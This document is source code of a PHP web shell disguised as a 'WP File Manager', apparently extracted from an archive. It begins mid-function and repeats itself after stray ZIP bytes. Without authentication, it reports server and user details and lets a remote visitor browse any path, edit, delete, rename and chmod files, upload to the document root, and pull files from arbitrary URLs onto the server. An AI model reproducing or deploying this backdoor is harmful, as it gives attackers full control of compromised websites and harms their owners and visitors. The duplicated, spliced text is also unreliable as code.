for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëinfo@hekurangashi.info/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

